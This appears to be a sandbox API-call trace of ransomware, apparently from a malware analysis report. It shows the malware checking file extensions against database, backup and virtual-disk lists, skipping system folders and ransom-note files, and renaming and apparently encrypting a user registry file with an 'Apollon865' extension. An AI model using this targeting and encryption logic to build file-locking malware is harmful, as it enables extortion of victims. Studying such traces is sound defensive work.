	[0047.029] lstrlenW (lpString="daschema") returned 8
	[0047.029] lstrcmpiW (lpString1="trans-ms", lpString2="daschema") returned 1
	[0047.029] lstrlenW (lpString="db-journal") returned 10
	[0047.029] lstrcmpiW (lpString1="egtrans-ms", lpString2="db-journal") returned 1
	[0047.029] lstrlenW (lpString="db-shm") returned 6
	[0047.030] lstrcmpiW (lpString1="ans-ms", lpString2="db-shm") returned -1
	[0047.030] lstrlenW (lpString="db-wal") returned 6
	[0047.030] lstrcmpiW (lpString1="ans-ms", lpString2="db-wal") returned -1
	[0047.030] lstrlenW (lpString="dbc") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0047.030] lstrlenW (lpString="dbs") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0047.030] lstrlenW (lpString="dbt") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0047.030] lstrlenW (lpString="dbv") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0047.030] lstrlenW (lpString="dbx") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0047.030] lstrlenW (lpString="dcb") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0047.030] lstrlenW (lpString="dct") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0047.030] lstrlenW (lpString="dcx") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0047.030] lstrlenW (lpString="ddl") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0047.030] lstrlenW (lpString="dlis") returned 4
	[0047.030] lstrcmpiW (lpString1="s-ms", lpString2="dlis") returned 1
	[0047.030] lstrlenW (lpString="dp1") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0047.030] lstrlenW (lpString="dqy") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0047.030] lstrlenW (lpString="dsk") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0047.030] lstrlenW (lpString="dsn") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0047.030] lstrlenW (lpString="dtsx") returned 4
	[0047.030] lstrcmpiW (lpString1="s-ms", lpString2="dtsx") returned 1
	[0047.030] lstrlenW (lpString="dxl") returned 3
	[0047.030] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0047.031] lstrlenW (lpString="eco") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0047.031] lstrlenW (lpString="ecx") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0047.031] lstrlenW (lpString="edb") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0047.031] lstrlenW (lpString="epim") returned 4
	[0047.031] lstrcmpiW (lpString1="s-ms", lpString2="epim") returned 1
	[0047.031] lstrlenW (lpString="fcd") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0047.031] lstrlenW (lpString="fdb") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0047.031] lstrlenW (lpString="fic") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0047.031] lstrlenW (lpString="flexolibrary") returned 12
	[0047.031] lstrcmpiW (lpString1=".regtrans-ms", lpString2="flexolibrary") returned -1
	[0047.031] lstrlenW (lpString="fm5") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0047.031] lstrlenW (lpString="fmp") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0047.031] lstrlenW (lpString="fmp12") returned 5
	[0047.031] lstrcmpiW (lpString1="ns-ms", lpString2="fmp12") returned 1
	[0047.031] lstrlenW (lpString="fmpsl") returned 5
	[0047.031] lstrcmpiW (lpString1="ns-ms", lpString2="fmpsl") returned 1
	[0047.031] lstrlenW (lpString="fol") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0047.031] lstrlenW (lpString="fp3") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0047.031] lstrlenW (lpString="fp4") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0047.031] lstrlenW (lpString="fp5") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0047.031] lstrlenW (lpString="fp7") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0047.031] lstrlenW (lpString="fpt") returned 3
	[0047.031] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0047.032] lstrlenW (lpString="frm") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0047.032] lstrlenW (lpString="gdb") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0047.032] lstrlenW (lpString="gdb") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0047.032] lstrlenW (lpString="grdb") returned 4
	[0047.032] lstrcmpiW (lpString1="s-ms", lpString2="grdb") returned 1
	[0047.032] lstrlenW (lpString="gwi") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0047.032] lstrlenW (lpString="hdb") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0047.032] lstrlenW (lpString="his") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0047.032] lstrlenW (lpString="ib") returned 2
	[0047.032] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0047.032] lstrlenW (lpString="idb") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0047.032] lstrlenW (lpString="ihx") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0047.032] lstrlenW (lpString="itdb") returned 4
	[0047.032] lstrcmpiW (lpString1="s-ms", lpString2="itdb") returned 1
	[0047.032] lstrlenW (lpString="itw") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0047.032] lstrlenW (lpString="jet") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0047.032] lstrlenW (lpString="jtx") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0047.032] lstrlenW (lpString="kdb") returned 3
	[0047.032] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0047.032] lstrlenW (lpString="kexi") returned 4
	[0047.032] lstrcmpiW (lpString1="s-ms", lpString2="kexi") returned 1
	[0047.032] lstrlenW (lpString="kexic") returned 5
	[0047.032] lstrcmpiW (lpString1="ns-ms", lpString2="kexic") returned 1
	[0047.032] lstrlenW (lpString="kexis") returned 5
	[0047.032] lstrcmpiW (lpString1="ns-ms", lpString2="kexis") returned 1
	[0047.033] lstrlenW (lpString="lgc") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0047.033] lstrlenW (lpString="lwx") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0047.033] lstrlenW (lpString="maf") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0047.033] lstrlenW (lpString="maq") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0047.033] lstrlenW (lpString="mar") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0047.033] lstrlenW (lpString="marshal") returned 7
	[0047.033] lstrcmpiW (lpString1="rans-ms", lpString2="marshal") returned 1
	[0047.033] lstrlenW (lpString="mas") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0047.033] lstrlenW (lpString="mav") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0047.033] lstrlenW (lpString="maw") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0047.033] lstrlenW (lpString="mdbhtml") returned 7
	[0047.033] lstrcmpiW (lpString1="rans-ms", lpString2="mdbhtml") returned 1
	[0047.033] lstrlenW (lpString="mdn") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0047.033] lstrlenW (lpString="mdt") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0047.033] lstrlenW (lpString="mfd") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0047.033] lstrlenW (lpString="mpd") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0047.033] lstrlenW (lpString="mrg") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0047.033] lstrlenW (lpString="mud") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0047.033] lstrlenW (lpString="mwb") returned 3
	[0047.033] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0047.033] lstrlenW (lpString="myd") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0047.034] lstrlenW (lpString="ndf") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0047.034] lstrlenW (lpString="nnt") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0047.034] lstrlenW (lpString="nrmlib") returned 6
	[0047.034] lstrcmpiW (lpString1="ans-ms", lpString2="nrmlib") returned -1
	[0047.034] lstrlenW (lpString="ns2") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0047.034] lstrlenW (lpString="ns3") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0047.034] lstrlenW (lpString="ns4") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0047.034] lstrlenW (lpString="nsf") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0047.034] lstrlenW (lpString="nv") returned 2
	[0047.034] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0047.034] lstrlenW (lpString="nv2") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0047.034] lstrlenW (lpString="nwdb") returned 4
	[0047.034] lstrcmpiW (lpString1="s-ms", lpString2="nwdb") returned 1
	[0047.034] lstrlenW (lpString="nyf") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0047.034] lstrlenW (lpString="odb") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0047.034] lstrlenW (lpString="odb") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0047.034] lstrlenW (lpString="oqy") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0047.034] lstrlenW (lpString="ora") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0047.034] lstrlenW (lpString="orx") returned 3
	[0047.034] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0047.034] lstrlenW (lpString="owc") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0047.035] lstrlenW (lpString="p96") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0047.035] lstrlenW (lpString="p97") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0047.035] lstrlenW (lpString="pan") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0047.035] lstrlenW (lpString="pdb") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0047.035] lstrlenW (lpString="pdm") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0047.035] lstrlenW (lpString="pnz") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0047.035] lstrlenW (lpString="qry") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0047.035] lstrlenW (lpString="qvd") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0047.035] lstrlenW (lpString="rbf") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0047.035] lstrlenW (lpString="rctd") returned 4
	[0047.035] lstrcmpiW (lpString1="s-ms", lpString2="rctd") returned 1
	[0047.035] lstrlenW (lpString="rod") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0047.035] lstrlenW (lpString="rodx") returned 4
	[0047.035] lstrcmpiW (lpString1="s-ms", lpString2="rodx") returned 1
	[0047.035] lstrlenW (lpString="rpd") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0047.035] lstrlenW (lpString="rsd") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0047.035] lstrlenW (lpString="sas7bdat") returned 8
	[0047.035] lstrcmpiW (lpString1="trans-ms", lpString2="sas7bdat") returned 1
	[0047.035] lstrlenW (lpString="sbf") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0047.035] lstrlenW (lpString="scx") returned 3
	[0047.035] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0047.036] lstrlenW (lpString="sdb") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0047.036] lstrlenW (lpString="sdc") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0047.036] lstrlenW (lpString="sdf") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0047.036] lstrlenW (lpString="sis") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0047.036] lstrlenW (lpString="spq") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0047.036] lstrlenW (lpString="te") returned 2
	[0047.036] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0047.036] lstrlenW (lpString="teacher") returned 7
	[0047.036] lstrcmpiW (lpString1="rans-ms", lpString2="teacher") returned -1
	[0047.036] lstrlenW (lpString="tmd") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0047.036] lstrlenW (lpString="tps") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0047.036] lstrlenW (lpString="trc") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0047.036] lstrlenW (lpString="trc") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0047.036] lstrlenW (lpString="trm") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0047.036] lstrlenW (lpString="udb") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0047.036] lstrlenW (lpString="udl") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0047.036] lstrlenW (lpString="usr") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0047.036] lstrlenW (lpString="v12") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0047.036] lstrlenW (lpString="vis") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0047.036] lstrlenW (lpString="vpd") returned 3
	[0047.036] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0047.037] lstrlenW (lpString="vvv") returned 3
	[0047.037] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0047.037] lstrlenW (lpString="wdb") returned 3
	[0047.037] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0047.037] lstrlenW (lpString="wmdb") returned 4
	[0047.037] lstrcmpiW (lpString1="s-ms", lpString2="wmdb") returned -1
	[0047.037] lstrlenW (lpString="wrk") returned 3
	[0047.037] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0047.037] lstrlenW (lpString="xdb") returned 3
	[0047.037] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0047.037] lstrlenW (lpString="xld") returned 3
	[0047.037] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0047.037] lstrlenW (lpString="xmlff") returned 5
	[0047.037] lstrcmpiW (lpString1="ns-ms", lpString2="xmlff") returned -1
	[0047.037] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Apollon865") returned 120
	[0047.037] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms.apollon865"), dwFlags=0x1) returned 1
	[0047.038] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0047.038] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=524288) returned 1
	[0047.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0047.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0047.038] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0047.038] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0047.039] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0047.039] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.039] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80300, lpName=0x0) returned 0x158
	[0047.041] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80300) returned 0x210000
	[0047.064] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0047.065] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0047.065] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0047.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0047.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0047.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0047.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0047.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0047.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0047.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0047.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0047.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0047.066] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0047.071] CloseHandle (hObject=0x158) returned 1
	[0047.071] CloseHandle (hObject=0x15c) returned 1
	[0047.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0047.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0047.071] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0047.073] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1
	[0047.073] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.073] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="Apollon865.txt.exe") returned 1
	[0047.073] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1
	[0047.073] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="windows") returned -1
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="bootmgr") returned 1
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="temp") returned -1
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="pagefile.sys") returned -1
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="boot") returned 1
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ids.txt") returned 1
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ntuser.dat") returned 1
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="perflogs") returned -1
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="MSBuild") returned 1
	[0047.074] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0047.074] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 109
	[0047.074] lstrcpyW (in: lpString1=0x119e62a, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms"
	[0047.074] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0047.074] lstrlenW (lpString="Apollon865") returned 10
	[0047.074] lstrcmpiW (lpString1="egtrans-ms", lpString2="Apollon865") returned 1
	[0047.074] lstrlenW (lpString=".dll") returned 4
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".dll") returned 1
	[0047.074] lstrlenW (lpString=".lnk") returned 4
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".lnk") returned 1
	[0047.074] lstrlenW (lpString=".ini") returned 4
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".ini") returned 1
	[0047.074] lstrlenW (lpString=".sys") returned 4
	[0047.074] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".sys") returned 1
	[0047.074] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92
	[0047.074] lstrlenW (lpString="bak") returned 3
	[0047.074] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0047.074] lstrlenW (lpString="ba_") returned 3
	[0047.074] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0047.074] lstrlenW (lpString="dbb") returned 3
	[0047.074] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0047.074] lstrlenW (lpString="vmdk") returned 4
	[0047.074] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1
	[0047.074] lstrlenW (lpString="rar") returned 3
	[0047.074] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0047.075] lstrlenW (lpString="zip") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0047.075] lstrlenW (lpString="tgz") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0047.075] lstrlenW (lpString="vbox") returned 4
	[0047.075] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1
	[0047.075] lstrlenW (lpString="vdi") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0047.075] lstrlenW (lpString="vhd") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0047.075] lstrlenW (lpString="vhdx") returned 4
	[0047.075] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1
	[0047.075] lstrlenW (lpString="avhd") returned 4
	[0047.075] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1
	[0047.075] lstrlenW (lpString="db") returned 2
	[0047.075] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0047.075] lstrlenW (lpString="db2") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
